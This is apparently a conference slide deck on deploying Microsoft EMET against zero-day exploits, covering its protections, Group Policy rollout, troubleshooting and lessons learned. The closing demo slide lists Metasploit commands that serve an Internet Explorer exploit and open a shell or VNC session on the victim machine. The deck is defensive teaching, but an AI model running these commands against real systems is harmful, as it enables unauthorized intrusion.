Blocking Zero-Day Malware with Microsoft EMET

An overview of EMET Software, How to Roll It Out In a Corporate Environment, and Lessons Learned
What We’ll Cover

What is EMET?
  – Technical details
Testing on a PC
Deploying at work / testing
  – Group policy
Troubleshooting
Demo!

@Secure360 or #Sec360
www.Secure360.org
The Problem

It is hard to keep up to date with third party patches – Adobe Reader, Java, Flash, ...

Leaving your organization exposed to new and zero-day malware...

With no anti-malware being totally effective...

What if there was a way to fill in that gap?
Presenting EMET

EMET Software:
• **Blocks “zero-day” malware exploits**
• Supplements existing anti-malware
• In official Microsoft security baseline
• Uses group policy
• Minimal overhead

But wait, there’s more...
• **It’s FREE!!!**
What is EMET?

**EMET: Enhanced Mitigation Experience Toolkit**

- A free supported software package from Microsoft
  - Supported since 2011, current version is 5.2
- Blocks memory corruption / buffer overflow exploits
  - Blocks zero-day exploits for IE, Flash, Java, Acrobat, etc...
  - Example: it randomizes memory locations
- Low overhead: Uses the Application Compatibility Framework, rather than running as a program
  - No need to recompile applications
- Install on every workstation
Where EMET Works Best

Workstations typically get infected in two ways:

1. **Workstation has vulnerable software**
   - E.g. Unpatched/zero-day Adobe, Java, Office, Browser Plug-ins
   - Users visit automated exploit web site, or open bad email document
   - **-> Install EMET**

2. **Users get tricked into running bad software**
   - Payroll.exe, UPS-Tracking.zip, FakeAV.com
   - **-> Train Users**, EMET less effective

* In addition to other mitigations such as anti-malware and patching
Technical: Protection Overview

Three Types of Protection:

1. System Wide
   – Configures a few built-in OS protections

2. Per-Program (**its main feature**) 
   – Enforces many protections on specific programs

3. Per-Web-Site
   – Alerts users to fraudulent SSL/TLS certificates
Technical: 1. System-Wide

**System Wide Protections:**

**DEP - Data Execution Prevention**
- Marks data (heap/stack) memory as non-executable
- Requires support by the CPU (Intel=XD, AMD=NX)

**SEHOP – Exception Handling**
- OS walks exception chain to validate before using it

**ASLR – Address Randomization**
- Use different memory locations each boot
Technical: 1. System-Wide

1. **System-Wide** Protection Options: DEP / SEHOP / ASLR
   - **Always On** – All programs will use
   - **Opt-Out** – On except if program is written to opt-out
   - **Opt-In** – Off except if program is written to opt-in
   - **Disabled** – No programs will use

**Opt-In vs. Opt-Out depends on risk tolerance/resources**
- Opt-In is the Microsoft recommendation
- Less protection, but less compatibility issues
Technical: 2. Per-Program

*EMET’s Best Feature*

2. Per-program EMET Protection Options:

Memory Protections:
• DEP / Bottom-Up ASLR / Mandatory ASLR / Heap Spray (blocks common locations) / Null Page

Return Oriented Programming (ROP):
• Load Library checks (no UNC DLL calls) / Memory protection checks (disallow stack executable) / Caller Checks (critical functions only via “call” not “return”) / Stack Pivot (detect if stack pivoted) / Simulate execution flow (detect ROP gadgets)

Other:
• SEHOP / EAF (Export Address table Filtering - blocks API address lookup) / EAF+ (also blocks specific modules) / ASR (Attack Surface Reduction, blocks specific plugins)

Note: Any protection applied to a browser protects all its plug-ins too
3. **Per-web-site: Certificate Trust Pinning**
   - Helps stop attackers from spoofing web sites using certificates from unexpected compromised CAs
     - E.g. https://www.facebook.com can only use DigiCert / Equifax / GeoTrust / Thawte / VeriSign
     - Configs: MS / Yahoo / Skype / Twitter / Facebook
       - Can specify expiration date, allow same country, etc.
   - But only warns users, doesn’t block
   - Not configurable by group policy
Testing on a PC

- Install Microsoft .Net 4.0+
  - Also KB 2790907 on Win8/2012
- Download EMET
  - http://microsoft.com/emet
- Install
  - It will ask if you want Recommended Settings
  - If no configuration done, EMET doesn’t protect
    - But if we manually configure then either is OK
...Testing on a PC

Start up the GUI:
- Start Menu -> EMET -> EMET GUI

Modify System-Wide Settings:
- DEP: Opt In
- SEHOP: Opt In
- ASLR: Opt In

Import the Other Settings:
- Recommended Software,
  Popular Software, CertTrust
Demo - Testing on a PC

**DEMO**
Install
Start GUI
Settings

- **System-Wide**
  - App Opt-In rather than Always On / App Opt-Out / Disabled

- **Per-program**
  - Importing settings: Recommended / Popular applications
  - Manually adding (e.g. Java v9 has a new path)

- **Web Certificate CA Pinning**
  - Importing settings: Certificate Trust
Celebra'ng a decade of guiding security professionals.

@Secure360 or #Sec360

www.Secure360.org
## Certificate Trust Configuration

### Protected Websites

<table>
<thead>
<tr>
<th>Active</th>
<th>Website</th>
<th>Pin Rule</th>
</tr>
</thead>
<tbody>
<tr>
<td>✓</td>
<td>login.live.com</td>
<td>MSLiveCA</td>
</tr>
<tr>
<td>✓</td>
<td>login.microsoftonline.com</td>
<td>MSOffice365CA</td>
</tr>
<tr>
<td>✓</td>
<td>login.skype.com</td>
<td>MSSkypeCA</td>
</tr>
<tr>
<td>✓</td>
<td>login.yahoo.com</td>
<td>YahooCA</td>
</tr>
<tr>
<td>✓</td>
<td>secure.skype.com</td>
<td>MSSkypeCA</td>
</tr>
<tr>
<td>✓</td>
<td>twitter.com</td>
<td>TwitterCA</td>
</tr>
<tr>
<td>✓</td>
<td><a href="http://www.facebook.com">www.facebook.com</a></td>
<td>FacebookCA</td>
</tr>
</tbody>
</table>

### Pinning Rules

<table>
<thead>
<tr>
<th>Name</th>
<th>Certificates</th>
<th>Rule Expiration</th>
<th>Minimum Key Size</th>
<th>Allowed Country</th>
<th>Blocked Hashes</th>
<th>PublicKey Match</th>
<th>Blocking Rule</th>
</tr>
</thead>
<tbody>
<tr>
<td>FacebookCA</td>
<td>17 Certificate(s)</td>
<td>8/1/2016</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>MSLiveCA</td>
<td>6 Certificate(s)</td>
<td>8/1/2016</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>MSOffice365CA</td>
<td>6 Certificate(s)</td>
<td>8/1/2016</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>MSSkypeCA</td>
<td>6 Certificate(s)</td>
<td>8/1/2016</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>TwitterCA</td>
<td>19 Certificate(s)</td>
<td>8/1/2016</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>YahooCA</td>
<td>17 Certificate(s)</td>
<td>8/1/2016</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>✓</td>
<td></td>
</tr>
</tbody>
</table>

@Secure360 or #Sec360

www.Secure360.org
Rolling Out: Prep

Download EMET (& .Net 4+)
• http://www.microsoft.com/emet

Obtain the current Group Policy ADM* files
• Copy from the EMET directory if EMET is already installed
  – or extract from the .msi: msiexec /a "EMET Setup.msi" /qb TARGETDIR="c:\temp"

Install Group Policy ADM* files
• Only needed on machines that will modify group policy
• Copy EMET.admx and EMET.adml in c:\temp\group policy files to \Windows \PolicyDefinitions (admx), \Windows\PolicyDefinitions\en-US (adml)
  – Some enterprises use \company.com\sysvol\company.com\Policies\PolicyDefinitions instead
• Note: ADM* files different for each EMET version – use current ones only
Rolling Out: Active Directory
Rolling Out: Group Policy
Rolling Out: EMET GP Settings

Note: IE, Popular, and Recommended Software are not similar - Enable all three
Rolling Out: GP Software Install

- Roll out .Net 4.0 (& KB 2790907 on Win 8/2012)
- Roll out EMET using Group Policy or other method
Troubleshooting

- EMET notification: Popup Window
- OS Application log:
  - Office Plug-ins also produce an Application Error, search disk for the module
EMET v5.2 Known Issues

Group Policy settings don’t display properly in EMET GUI
- Commands that will display them:
  - emet-conf --list
  - reg query HKLM\Software\Policies\Microsoft\EMET\SysSettings

Group Policy can’t configure EAF+ / ASR / Certificate Trust Pinning

The EMET User’s Guide and EMET web forum have additional caveats
Lessons Learned

1. DEP breaks legacy applications
   • Set the system-wide DEP: Opt-in, not Always-on
     – E.g. breaks end-of-life versions of Crystal Reports

   • If you set DEP to Opt-out instead (not recommended):
     – Can individually configure workstations to opt-out of DEP for a specific application if you set DEP to Opt-out
       • Computer Properties / Advanced / Performance / DEP
     – Can use the free Microsoft Application Compatibility Toolkit to create a “shim” to roll out to opt application out of DEP
       • Compatibility Fix setting: “Disable NX”
Lessons Learned

2. Roll out EMET to Enterprise in phases
   – Start with an IT PC -> IT -> test PC in each business -> everyone

3. Uninstalling EMET doesn’t revert system-wide changes (DEP)
   – Revert system-wide changes then uninstall
   – Tools - Windows 7: bcdedit
   – Possible BitLocker issue with DEP changes

4. Visual Studio used to have debugging conflicts – now fixed

5. Third-party plugins for Microsoft Office/Outlook may need updating (e.g. WinZip in Outlook)
The Good Points

EMET 5.2 has addressed most compatibility issues
  – Users claim no impact on them (if other software current)
  – Yes, seriously – I asked twice

Fun to get notified if logging workstations centrally
  – Malware tends to give multiple EMET alerts
Research

New versions of EMET are released as researchers find ways to bypass protection, for example:

- **EMET 4.1:**
  - [http://labs.bromium.com/2014/02/24/bypassing-emet-4-1/](http://labs.bromium.com/2014/02/24/bypassing-emet-4-1/)

- **EMET 5.1:**

Typically not bypassed by mass exploit kits
- Sweet spot – possibly not deployed enough for extra effort
Trends / Future

Next version:

- New major version released yearly (~July)
  - One or two minor versions in between
- Microsoft is working on adding Group Policy support for EAF+/ASR/Pinning for EMET v6

Metrics:

- Anecdotally significant decrease in malware infection
- One outside organization reports EMET blocking for 10-20% of PCs each month
References

Microsoft EMET Homepage
• www.microsoft.com/emet (download link also has User Guide)

EMET Support Forum
• social.technet.microsoft.com/Forums/security/en-US/home?forum=emet

EMET Beta Program
• connect.microsoft.com/directory/?keywords=EMET

Technical Whitepaper
• 0xdabbad00.com/wp-content/uploads/2013/11/emet_4_1_uncovered.pdf

Microsoft Videos
• Tech++: channel9.msdn.com/events/TechEd/NewZealand/2014/PCIT417
EMET Protection Demo

DEMO

• Testing EMET using Metasploit w/ Armitage GUI
  – Systems:
    • Windows 7 SP1 with .Net 4.0
    • Metasploit / Armitage on Kali Linux 1.x (~BackTrack)
      – Msfupdate, Kali/System/Metasploit/Start, Kali/Exploit/Net/Armitage
  – Exploit:
    • (Kali) use exploit/windows/browser/ms11_003_ie_css_import
      – set SRVPORT=80 /set URIPATH=funny
      – exploit –j
    • (Win7) Browse to http://server/funny
    • (Kali/Console) sessions / sessions -i 1 / run vnc (or shell)
Questions?

Contact:

Chris Covington, CISSP
ccovington@logis.org